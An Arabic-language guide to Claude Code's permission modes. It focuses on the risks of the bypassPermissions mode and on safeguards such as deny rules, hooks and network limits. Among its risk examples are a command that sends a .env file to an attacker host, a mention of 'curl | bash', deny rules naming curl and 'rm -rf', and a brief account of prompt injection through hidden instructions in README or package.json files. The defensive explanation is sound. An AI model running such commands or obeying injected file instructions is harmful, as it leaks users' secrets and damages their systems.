وضع تجاوز الصلاحيات في Claude Code: المخاطر الأمنية وطرق الاستخدام الآمن

يتضمن Claude Code وضعاً يُعرف بـ«تجاوز الصلاحيات» (bypassPermissions) يسمح بتنفيذ جميع العمليات تقريباً دون أي تأكيد من المستخدم. هذا الوضع مفيد للغاية في بيئات CI/CD وحاويات Docker، لكن الاستخدام غير المدروس قد يفتح الباب أمام مخاطر أمنية خطيرة.

في هذا المقال، نستعرض أوضاع الصلاحيات الستة في Claude Code، ثم نتناول بالتفصيل فوائد وضع التجاوز ومخاطره وطرق استخدامه بأمان مع أمثلة عملية.

1. ما هو وضع تجاوز الصلاحيات

وضع تجاوز الصلاحيات يقوم بإلغاء جميع مطالبات التأكيد تقريباً التي كان Claude Code سيعرضها أثناء العمل. في وضع Manual، يطلب Claude Code موافقة المستخدم قبل تعديل الملفات أو تنفيذ أوامر الشل، أما في وضع التجاوز فلا تظهر هذه المطالبات (مع استثناءات قليلة نذكرها لاحقاً).

هناك رايتان للتشغيل تفعّلان هذا الوضع (ويعمل أيضاً ضبط defaultMode على bypassPermissions في إعدادات المستخدم أو الإعدادات المُدارة، لا في إعدادات المشروع). ولا يمكن الانتقال إليه في منتصف جلسة لم تبدأ وهو مفعَّل:

# Flag activation
claude --dangerously-skip-permissions

# Or via permission mode
claude --permission-mode bypassPermissions

لاحظ أن اسم العلَم يتضمن كلمة «dangerously» (بشكل خطير)، وهو تحذير متعمد من Anthropic. الغرض من هذا الوضع هو تمكين الأتمتة في بيئات معزولة تماماً (حاويات أو أجهزة افتراضية).

يتجاوز bypass أيضًا تأكيد الكتابة إلى المسارات المحمية. من أمثلة القيود الباقية قواعد deny المطبقة وask الصريحة، وفحوص حذف المسارات المهمة، والأدوات التي تتطلب إجابتك، والخطافات. هذه ليست قائمة شاملة؛ راجع أيضًا القيود الباقية الرسمية. نوضح شروط مطابقة القواعد وتأثير mods المثبتة في دليل قواعد الأذونات.

2. أوضاع الصلاحيات الستة في Claude Code

يوفر Claude Code ستة أوضاع للصلاحيات، يختلف كل منها في نطاق العمليات المسموح بها دون تأكيد.

تفاصيل كل وضع

default ‏(Manual): تطلب التعديلات العادية وتنفيذ الأوامر الموافقة. تُستثنى أوامر القراءة فقط المدمجة والعمليات المطابقة لـallow والسماح التلقائي للبيئة المعزولة. لا يعني الوضع اليدوي ظهور تأكيد لكل عملية. يكون افتراضيًا عندما لا يتاح auto وفي كثير من الجلسات غير التفاعلية.

acceptEdits ‏(Accept edits): يوافق تلقائيًا على تحرير الملفات ضمن نطاق العمل وعمليات الملفات المعروفة مثل mkdir وtouch وrm وrmdir وmv وcp وsed. تخضع العمليات خارج النطاق والمسارات المحمية لفحوص منفصلة. وقد تتجاوز أوامر أخرى التأكيد إن طابقت allow أو السماح التلقائي للبيئة المعزولة.

plan ‏(Plan): يفحص ويصمم التغييرات ويكتب ملفات الخطط. عادةً يوقف تحرير المصدر حتى الموافقة، لكن في طرفية تفاعلية أُتيح فيها اختيار تجاوز الصلاحيات، لا يُفرض حظر التحرير حتى في Plan. يراجع المصنّف أوامر التحقيق عندما يتاح auto ويُفعّل useAutoModeDuringPlan. إن كان معطّلًا أو تعذر auto، تطلب الأوامر خارج مجموعة القراءة فقط المدمجة تأكيدًا. لا ينطبق استثناء التجاوز هذا على -p أو SDK أو محادثة VS Code.

auto (Auto): تُنفَّذ معظم العمليات دون تأكيد، لكن مصنّف الأمان (safety classifier) يعمل في الخلفية ويرفض العمليات التي يراها خطرة. مناسب للمهام الطويلة. وابتداءً من v2.1.283 هو نمط البدء في الطرفية وVS Code في كل الخطط ولدى كل المزوّدين (حتى 4 أكتوبر 2026؛ وفي الإصدارات الأقدم لا تبدأ في auto إلا خطط Pro وMax وTeam ويبدأ الباقي في Manual؛ وتبدأ الجلسة في Manual أيضاً إذا عطّل المسؤول نمط auto أو كان النموذج لا يدعمه).

dontAsk: يرفض تلقائيًا العمليات التي تحتاج تأكيدًا. ينفّذ العمليات التي لا تطلبه، كالقراءة ضمن مساحة العمل وأوامر القراءة فقط، والعمليات المشمولة بقواعد allow. يقلل انتظار موافقات الصلاحيات، لكن تبقى أسباب أخرى للانتظار، ومنها أدوات تتطلب إجابتك. لا يظهر في دورة Shift+Tab؛ حدده عبر claude --permission-mode dontAsk أو defaultMode في الإعدادات. يناسب CI والبيئات التي تريد تحديد قدرات Claude فيها مسبقًا.

bypassPermissions (Bypass permissions): يتم تعطيل مطالبة التأكيد ومصنّف الأمان (تظل Hooks تعمل). مصمم للاستخدام في الحاويات والأجهزة الافتراضية فقط، ولا توصي Anthropic باستخدامه في البيئات المحلية.

يمكن التبديل بين الأوضاع عبر علَمات سطر الأوامر عند التشغيل، أو باستخدام اختصار Shift+Tab أثناء الجلسة (وكذلك في JetBrains). وفي VS Code يُستخدم مؤشّر الوضع أسفل خانة الإدخال، وفي تطبيق سطح المكتب المُحدِّد بجانب زر الإرسال. غير أنّ وضع التجاوز لا يمكن اختياره في جلسة لم تبدأ وهو مفعَّل.

3. متى يكون وضع التجاوز مفيداً

وضع التجاوز ليس مجرد وضع «خطير» — بل يعزز كفاءة التطوير بشكل كبير عند استخدامه في البيئة المناسبة.

أنابيب CI/CD

في بيئات مثل GitHub Actions وGitLab CI، لا يوجد مستخدم يمكنه الاستجابة لمطالبات التأكيد. يتيح وضع التجاوز أتمتة كاملة للاختبارات ومراجعة الكود وتوليد الوثائق.

# GitHub Actions example
claude --dangerously-skip-permissions \
  -p "Run tests and report results"

داخل حاويات Docker

يمكن للحاويات أو الآلات الافتراضية المؤقتة تقليل نطاق التأثير عند عزلها بصورة صحيحة. لكن تمرير مجلدات المضيف وبيانات الاعتماد ومقبس Docker واتصالات الشبكة يمد التأثير إلى الموارد المكشوفة. يبقى تدمير الشيفرة والبيانات داخل الحاوية ممكنًا؛ الحاوية وحدها لا تزيل الخطر.

المعالجة الجماعية للملفات

عند تعديل أكثر من 100 ملف دفعة واحدة، تصبح مطالبات التأكيد المتكررة عبئاً كبيراً. في بيئة معزولة، يمكن لوضع التجاوز معالجة الملفات بكفاءة عالية.

التكامل مع سكريبتات الأتمتة

في المعالجة الدفعية غير المراقبة، يعد التجاوز خيارًا من عدة خيارات. يمكن أيضًا التفكير في dontAsk بصلاحيات ضيقة أو auto إن كان متاحًا. عند استخدام التجاوز، تحقق من الشرط الرسمي: بيئة معزولة لا تؤثر في المضيف ولا تتصل بالإنترنت.

4. خمسة مخاطر أمنية

استخدام وضع التجاوز في بيئة غير معزولة يُعرّضك للمخاطر التالية:

المخاطر 1: حقن الأوامر (Prompt Injection)

أخطر المخاطر. قد تحتوي ملفات خبيثة (مثل تعليمات مخفية في README أو package.json) على أوامر يتم تنفيذها مباشرة دون فحص.

في Manual، تطلب الاستدعاءات التي تحتاج موافقة التأكيد قبل التنفيذ. قد تتجاوز allow أو السماح التلقائي للعزل هذه الخطوة، فلا يُضمن السؤال كلما كان الإجراء خطرًا. يتجاوز bypass إجراء الموافقة المعتاد.

المخاطر 2: تنفيذ أوامر عشوائية

curl | bash والحذف وتثبيت الحزم أمثلة على نطاق واسع من عمليات الصدفة التي قد تُنفّذ بلا تأكيد. يعطل التجاوز مصنّف auto أيضًا. تبقى فحوص deny وask وغيرها، لكن لا تعتبرها حدًا يسد كل المسارات.

المخاطر 3: تسريب البيانات

قد تُنفَّذ أوامر ترسل معلومات حساسة مثل ملفات .env والمفاتيح السرية ورموز التوثيق إلى خوادم خارجية دون تأكيد. مثال: curl -d @.env https://attacker.com.

المخاطر 4: تصعيد العمليات

قد تتدرج مهمة تبدأ بتعديلات ملفات بسيطة إلى نشر في الإنتاج أو ترحيل قاعدة بيانات. في Manual، تتيح العمليات التي تحتاج موافقة فرصة مراجعتها، لكن لا يُضمن السؤال عند كل مرحلة من المهمة. يتجاوز bypass إجراء التأكيد المعتاد أيضًا.

المخاطر 5: عمليات تدميرية لا رجعة فيها

أوامر مثل git push --force والحذف النهائي للملفات وDROP TABLE في قاعدة البيانات قد تُنفَّذ دون تأكيد ولا يمكن التراجع عنها.

5. إجراءات الاستخدام الآمن

إذا كنت بحاجة لاستخدام وضع التجاوز، اتبع الإجراءات التالية:

الإجراء 1: الاقتصار على الحاويات والأجهزة الافتراضية

أهم إجراء على الإطلاق. استخدم وضع التجاوز حصرياً في بيئات معزولة مثل حاويات Docker والأجهزة الافتراضية وبيئات CI. تجنب التنفيذ المباشر على النظام المضيف.

الإجراء 2: تقييم الوضع التلقائي (auto) أولاً

لتقليل التأكيدات، تحقق أولًا من شروط إتاحة auto وحدوده. يرفض المصنّف ما يراه خطيرًا، لكنه لا يضمن اكتشاف كل إجراء خطر. لا تختَر التجاوز لمجرد أن التأكيدات مزعجة.

الإجراء 3: التحكم الدقيق بقوائم السماح

تُسقط قاعدة allow الموافقة عن الاستدعاءات المطابقة. يمكن حصرها في الأوامر اللازمة، لكن يجب فحص محتوى السكربتات المسموحة أيضًا. قواعد Bash ليست حاجزًا حول البرنامج كله: لا تلتقط Bash(curl *) استدعاء /usr/bin/curl أو الاستدعاءات عبر صدفة أخرى. لفرض قيود الملفات والشبكة، يلزم أيضًا عزل على مستوى نظام التشغيل.

# .claude/settings.json permission rules
{
  "permissions": {
    "allow": [
      "Bash(npm run build)",
      "Bash(npm test)",
      "Bash(git status)"
    ],
    "deny": [
      "Bash(curl *)",
      "Bash(rm -rf *)"
    ]
  }
}

تُقيَّم القواعد بترتيب deny ← ask ← allow. تحظى deny بالأولوية القصوى، لذا فإن حظر أمر خطير صراحةً لن يُلغى بواسطة قاعدة allow.

الإجراء 4: المراقبة بواسطة Hooks

باستخدام ميزة Hooks في Claude Code (أحداث PreToolUse / PostToolUse)، يمكنك تشغيل سكريبتات مخصصة قبل وبعد استخدام الأدوات. والأهم أن Hooks تظل تعمل في وضع التجاوز. فما يتخطّاه وضع التجاوز هو مطالبة التأكيد، بينما تعمل Hooks في مرحلة سابقة لها. وتوضّح الوثائق الرسمية أن أحداث PreToolUse تُنفَّذ قبل مطالبة الأذونات، وأن الخطّاف الذي ينتهي برمز الخروج 2 يوقف استدعاء الأداة قبل تقييم قواعد الأذونات.

توفر الخطافات فحصًا إضافيًا، لكن شيفرتها وتهيئتها تحتاجان إلى الحماية. قد يستبدل mod رفض PreToolUse غير المُدار بموافقة في ظروف معينة؛ راجع العلاقة بين قواعد الأذونات وmods.

# PreToolUse hook example (.claude/settings.json)
{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "hooks": [{
        "type": "command",
        "command": ".claude/hooks/check-safety.sh"
      }]
    }]
  }
}

الإجراء 5: تقييد الشبكة

حتى داخل الحاوية، قيّد الوصول إلى الشبكة الخارجية للحد من مخاطر تسريب البيانات. المثالي هو السماح فقط بنقاط الاتصال الضرورية (مثل Anthropic API).

الإجراء 6: المراجعة الدقيقة بعد العمل

بعد العمل في وضع التجاوز، راجع التغييرات باستخدام git diff. تأكد من عدم وجود تعديلات غير مقصودة أو تسريب لمعلومات حساسة.

6. دليل اختيار وضع الصلاحيات

عندما تحتار في اختيار الوضع المناسب، استرشد بالمخطط التالي:

الإعدادات الموصى بها حسب السيناريو

البرمجة اليومية: فكّر في acceptEdits. يسير تحرير الملفات بسلاسة، وتخضع العمليات الأخرى لتقييم الأذونات العادي؛ قد تُسقط allow والسماح التلقائي للبيئة المعزولة وما يشابهها التأكيد.

فحص الشيفرة والتصميم: يناسب Plan التفكير قبل التنفيذ. يمنع عادةً تحرير المصدر، لكنه يكتب الخطط وبيانات مشابهة. في طرفية تفاعلية تتيح اختيار التجاوز، لا يوقف التحرير أيضًا. لفرض منع التغييرات، راجع القيود، ومنها أذونات النظام، في دليل الاستخدام للتحقيق فقط.

المهام الآلية الطويلة: الجمع بين auto والبيئة المعزولة خيار ممكن. يضم المصنّف إلى قيود نطاق التنفيذ، لكن افحص المجالات المسموحة والمسارات الخارجية، ولا تفترض اكتشاف كل عملية خطرة.

خطوط CI/CD: إن أمكن تحديد الاستدعاءات المسموحة مسبقًا، ففكّر في dontAsk مع قواعد allow. يتجنب انتظار موافقات الأذونات المعتاد، لكن تبقى أسباب توقف أخرى كالأدوات التي تستلزم إجابة شخصية والأخطاء. التجاوز يحتاج أيضًا العزل وقيود الشبكة وتقليل المجلدات المركبة؛ اختيار الوضع وحده لا يضمن اكتمال العمل دون مراقبة.

وضع التجاوز ليس سوى واحد من عدة أوضاع للأذونات. وإذا أردت معرفة موقع كل وضع وكيفية الاختيار بينها، فاطلع على نظرة عامة تشرح جميع أوضاع الأذونات في Claude Code. لمعرفة المزيد عن ميزات Claude Code الأخرى، اطلع على الفرق بين ميزات Claude الثلاث. وللاطلاع على خطط الأسعار راجع مقارنة أسعار Claude وChatGPT.

7. الملخص

وضع تجاوز الصلاحيات في Claude Code أداة قوية في البيئة المناسبة، لكن الاستخدام الخاطئ قد يتسبب في حوادث أمنية خطيرة.

إذا كنت مهتماً بالأمان عند استخدام أدوات الذكاء الاصطناعي، جرّب اختبار مستوى الذكاء الاصطناعي لتقييم معرفتك. ويمكنك تعلم Claude Code بشكل منهجي عبر الدورة التمهيدية.

الأسئلة الشائعة

أُعيدت مطابقة نطاق الأذونات والعزل واستثناءاتهما مع المصادر الرسمية في 9 أكتوبر 2026. لم تُغيّر إعدادات الأجهزة ولم تُجرَ اختبارات بدء تشغيل.